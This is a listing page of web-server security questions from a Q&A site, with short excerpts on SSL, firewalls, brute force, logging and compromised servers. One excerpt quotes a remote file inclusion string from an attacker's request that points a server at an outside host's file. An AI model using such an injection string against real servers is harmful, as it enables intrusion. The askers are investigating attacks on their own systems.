Questions tagged [webserver]

A system whose primary function is to deliver web pages on request to clients.

Filter by
Sorted by
Tagged with
5
votes
2answers
398 views

Is an application backend expected to potentially log sensitive customer data when in debug mode?

As I am working on a website that asks customers to enter data such as their name, address, phone number, obviously customer data that needs to be protected. I do my best to not log such data (...
5
votes
2answers
1k views

Detect when I do brute force attack and block the connection

My server (Ubuntu + LAMP) is infected, as I receive security alerts from the sites attacked from my IP. your Server/Customer with the IP: ********** has attacked one of our servers/partners. The ...
5
votes
1answer
4k views

How to convert IBM Domino SSL keys (private key) to the OpenSSL format?

I have a customer with an IBM Domino server. They offer a way to export SSL keys but in a weird proprietary format. Any idea on how to convert those to OpenSSL? Basically I need to upload this key to ...
5
votes
2answers
126 views

Is it worth it to install the same web application on different kind of web servers in a vulnerability assessment?

When doing a web vulnerability assessment with tools such as Acunetix and w3af, is it worth it to install the same web application on multiple types of web servers (Apache, IIS, etc.)? If differences ...
4
votes
3answers
5k views

is it worth to implement a firewall on a web server you control?

I see the main reasons for a firewall on a web server to be defense in depth and extra cushion for a possible admin error of running an unnecessary daemon. I'm trying to see if I am overlooking ...
4
votes
3answers
657 views

Locking down web-based admin areas with personal SSL certificates

I've been tasked to setup a secure platform, where I've been asked to assign personal SSL certificates to administrators, and have the server only allow persons into the administration areas that have ...
4
votes
3answers
5k views

Is web application connected to a database via an application server more secure?

I have heard from my colleagues and some other people on web suggest that it is more secure to run this configuration: Web server -> Application server -> Database, than this: Web server -> ...
4
votes
6answers
10k views

Is it dangerous to allow user to view a file directory via web browser?

I have a URL which displays all of the pdf files at a given dir by visiting the following site location : http://www.mysite.com/allpdffiles/ Does this present any security vulnerabilities?
4
votes
3answers
12k views

AD User vs SQL User for SQL Server Authentication

My company has multiple web applications that we deploy to customer sites. Often the customer has the final say in deployment options in which often it shocks me. Many of these customers are ...
4
votes
2answers
1k views

Attack surface for a site that hosts only static content HTML and images?

What kind of attack surface is there for a site that only hosts static content: HTML, images, CSS? How can sites like this be successfully penetrated?
4
votes
3answers
483 views

How can IT audit for installation of IIS Express?

IIS Express is a developer tool for Windows XP and higher which provides the full feature set of IIS, but without needing administrator rights. I've seen discussion by some developers who are ...
4
votes
3answers
4k views

PCI DSS - only one primary function per server

The PCI DSS says that a server can have only one primary function and i'm a little confused over what it means by 'one primary function' we have a webserver with database - web pages and email is this ...
4
votes
2answers
5k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
4
votes
4answers
413 views

What security standards should be implemented in a simple web application [closed]

I am creating a web application that basically reads/writes/updates information from and to a database on a server. I am knowledgeable in computer programming, but while seeking security standards, I ...
4
votes
3answers
4k views

Are there any problems with using CAMELLIA, IDEA and SEED based cipher suites on a web server in 2016?

I have recently seen CAMELLIA, SEED and IDEA cipher suites in use for HTTPS on a web server and am unsure what to suggest to the owner. The keys in use are all over 128 bits in length and standard ...
4
votes
2answers
721 views

Security concerns about my webapp

I read though OWASP very carefully, but I am not sure about some parts of my website. I am using jbcrypt on my website. It stores the salt in the hash itself something like this hash+salt. I read ...
4
votes
2answers
197 views

Does site need SSL to resend info to a site that does use SSL?

Let's say I have a website isellchicken.com, this site needs to be able to collect sensitive user information like credit card details. This site will not process the information, but will send it to ...
4
votes
2answers
7k views

Test website for SSL 2.0

I'm in the process of disabling SSLv2 on our IIS-based webserver and am wondering how I can test that SSLv2 is actually disabled? The website is still in development so not visible outside our ...
4
votes
2answers
179 views

Need an overview of web service / web site security world, where do I start? [duplicate]

Possible Duplicate: Resources to learn about security I'd like to get a good understanding of modern issues in web security and get insight into what it takes to keep your sites and services ...
4
votes
2answers
609 views

Should I publish IP addresses that try to brute force my private web server?

Ethically and legally, am I allowed to publish IP addresses that tried to brute force my LAMP server? It's a personal website/blog that gets brute forced a lot and I would like to publish them to my ...
4
votes
1answer
199 views

How to ensure web application remains secured after intrusion of server

My application employs asymmetric encryption / decryption, the process of how this work is detailed below: Encryption - Server A Data is encrypted using the public key of server B Data is signed ...
4
votes
4answers
2k views

Should i use SSL for local access?

I have a web service which can be accessed only from websites hosted on the same server (i use 127.0.0.1 ip). Should i use SSL for the communications between the sites and the service, or would that ...
4
votes
1answer
11k views

This site uses a weak security configuration - SHA-1 signatures [duplicate]

One of our users just sent us a screenshot of them browsing our site using Chrome for OS X, version 44.0.2403.130. This came as a surprise because I thought that our certificates were up to date (via ...
4
votes
1answer
5k views

Can closing port 80 lead to more security?

If a website is running on HTTPS only, is it reasonable to close port 80 of the web server and only leave port 443 open? Does this action provide more security for the website?
4
votes
2answers
3k views

Restarting nginx with Jenkins or Phing - is it safe to allow Jenkins to run sudo without prompt for password

I am implementing the recommendations from Integrating PHP projects with Jenkins for my own PHP projects. I have created a jenkins user in my ubuntu 12.10 server. I used Phing as my build tool and I ...
4
votes
3answers
3k views

Google App Engine Security

I am writing a master thesis concerning security of certain applications, and as a part of it I want to write a web app on Google App Engine and test how secure it is. Does anyone know if there was ...
4
votes
3answers
237 views

Practically, when good password policies are used, how much is gained from SSH keys? [duplicate]

Background: I am running my own servers for personal use, I have complete control over all passwords used and for the foreseeable future things will stay this way. I understand the arguments for why ...
4
votes
5answers
312 views

What is the best way to secure your web resources when you provide API as web service?

Here is the condition: I have a web service API that I am planning to sell as a service. The output of the API contains URI of some resources (say images, videos) that should be accessible to that guy ...
4
votes
1answer
7k views

cookie issue with same domain same path but different port

I have two web app running on same host on same path but on different port http://somedomain.com/ and https://somedomain.com/ now when I visit first app it serves the cookie say with name abc, and ...
4
votes
2answers
2k views

Code Injection detection on Web Servers

Recently I found one of my web servers hacked with malicious code injected to websites hosted there. It wasn't exactly my fault, as I shared the server with other people and someone put some unsafe ...
4
votes
1answer
132 views

What are the risks of mismanaging apache users/permissions and what is the right way to do it?

Every time I install Apache to test a script, this question comes up for me. I don't do it very often, but I remember this being a pain point since about 2007. A lot of tutorials/forums recommend ...
4
votes
1answer
789 views

Does visiting the localhost with my Tor browser reduce my security?

I happen to have Tor open right now, and want to do a quick modification to my website. Does visiting localhost with Tor reduce the security of that session?
4
votes
1answer
622 views

What steps need to do to identify security hole

I use VPS hosting. Installed CentOS 6 and ZPanel according to this tutorial http://www.zvps.co.uk/zpanelcp/centos-6 Received warning from hosting provider: This URL has been identified as a phishing ...
4
votes
3answers
649 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
votes
2answers
1k views

Freebsd: Separating apache service and www-data(htdocs) with jails, is it worth it?

Is it worth separating www-data and apache service from each other, in jails? I currently have this setup: Freebsd 9 1x Public ip (jails are in private ip's, nat'ed) 2 separate domains, managed by ...
4
votes
1answer
158 views

How can I test a domain that I don't own for unencrypted communication vulnerabilities?

I am suspecting a website of passing clear text login information and so far as I can tell the connection is unencrypted. Are there web-based tools to validate/test a website for basic security ...
4
votes
1answer
4k views

HTTPonly cookies

I was tasked to perform as scan against a lab and Nessus returned an "Apache HTTP Server httpOnly Cookie Information Disclosure" vulnerability. What I would like to know is what these cookies contain ...
4
votes
1answer
1k views

Root server hacked via httpd - consequences and future prevention

Since before mid 2014, my root server was targeted by hackers and recently they gained limited access. I disabled all services once I realized the server has been compromised and started investigating....
4
votes
3answers
36k views

Scan all possible files on server (Brute force Filenames)

I'm looking for a tool which can scan all possible filename combinations on a server and tells you what filenames the server responded to. So it would try something like: example.com/a, example.com/b,...
4
votes
2answers
2k views

how unsafe is it for Windows webserver IIS to have domain privileges

Normally in the past, I've managed that the production server only serves http(s) to the internet, and is isolated from it's database by a firewall which only allows database queries to travel. ...
4
votes
4answers
189 views

Finding web application on webserver having only IP

I am trying to find all web application running on web server. The only information I have is IP address of web server, for example 192.168.1.100. My approach was to check the existence of web ...
4
votes
1answer
2k views

Configuring socat to pentest an IPv6-only remote web server from an IPv4 host

I need to pentest an IPv6-only web server situated in a remote network from my IPv4 host (Kali Linux VM). I have a 6-to-4 tunnel up between the two hosts (configured using Hurricane Electric). I'm ...
4
votes
2answers
172 views

Server side Excel file security

I need to write an application that will interact with files uploaded from untrusted sources (users). Specs say I must support CSV and Excel. If I allow a user to upload an Excel file to the server ...
4
votes
1answer
1k views

Different SSL/TLS certificates for subdomains

I have HSTS enabled on several domains that I host/maintain, and I'm using free verified certificates from a provider that only allows encryption of the root and one subdomain on the certificate. They ...
4
votes
2answers
4k views

Was I a victim of an “Apache PHP Remote Exploit” attack?

I have a server in my computer for testing purposes, accessible from the outside. I was reviewing the access.log file, and I saw 89.187.33.50 - - [29/Mar/2014:03:39:01 +0100] "HEAD / HTTP/1.0" 200 - ...
4
votes
4answers
160 views

What things should I check for when giving a client control of the filename parameter to C's open() function?

I'm doing a school project where we are building a simple web server in C. To implement this I read the first line of the request (all I need for my purposes) and parse the middle string as the file ...
4
votes
1answer
3k views

How to secure or (Ensuring Integrity) of Web Data in transit and in store?

Consider (usual scenario) You own a Shopping Cart Website and hosted on Internet, now, your hosting company provides you database to store your data. If talking about security, we need it for: ...
4
votes
2answers
2k views

Hide web.xml file from public view

I have found a vulnerability in a sun java application where the web.xml file is publicly viewable as the application is not using any .htaccess nor web.config. I don't how to restrict. I tried with ...
4
votes
1answer
943 views

Intrusion attempt? Host 'somedomain.org' is not allowed to connect to this MySQL server

We have a web site hosted on a shared server. The hosting company's MySQL servers are hosted on a different server. We collect certain kinds of requests through a web form, and write them to a ...
4
votes
2answers
75 views

How to host application monitoring and administration dashboards?

I'm in the middle of completing a web app for production. This is my first one. I'm at the point where I have to put together an administrator dashboard for comprehensive monitoring and administration ...

1
3 4
5
6 7
18